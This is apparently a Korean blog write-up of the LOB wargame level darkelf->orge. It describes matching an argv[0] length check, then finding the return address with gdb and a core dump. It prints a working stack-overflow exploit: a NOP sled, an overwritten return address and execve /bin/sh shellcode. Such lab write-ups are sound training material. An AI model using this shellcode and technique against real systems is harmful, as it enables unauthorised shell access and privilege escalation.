LOB darkelf->orge
by St1tch이전 문제에서 조건이 한개 더 늘었다.
argv[0]의 길이가 77이 아니면 종료가 되는 조건이 생겼다.
따라서 gdb로 분석을 할때는 홈폴더파일 /tmp 하위경로로 복사를 한 후,
그 파일이름의 길이를 (77-경로 이름의 길이)로 바꿔준 후 진행했다.
실행파일의 길이만 잘 맞으면 이전문제의 exploit을 ret주소만 빼고 그대로 사용할 수 있다.
ret주소를 알기위해 *(argv+2)의 주소를 확인했다.
0xbffffd69라고 나와있고 \x90값이 잘 채워져 있는것을 확인할 수 있다.
이를 토대로 전의 익스플로잇에서 약간만 수정했다.
[exploit code]
./orge `python -c 'print "\x90"*44 + "\x0f\xfc\xff\xbf"'` `python -c 'print "\x90"*512 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
실행을 시키면 ret주소가 맞지 않는지 segmentation fault가 뜬다.
따라서 gdb를 이용해 dumpcore를 살펴보았다.
모두 \x90으로 덮혀 있어 좀 복잡하긴한데 빨간색 밑줄이 ret주소이고 그 이후로는 argv[2]영역이다.
따라서 gdb로 보았을 때와 주소차이가 좀 있다.
ret주소를 수정하였다.
위 까지는 /tmp/하위폴더에서 했기 때문에 쉘이 따지는 것 까지 확인만 했다.
쉘이 따지는걸 확인했기 때문에 홈폴더에서 다시 쉘을 획득해야한다.
경로 길이확인
orge의 이름을 77-14만큼 만들어줌
(ln -s로 심볼릭 링크를 만들어줘도 됨)
공격 성공
블로그의 정보
튜기's blogg(st1tch)
St1tch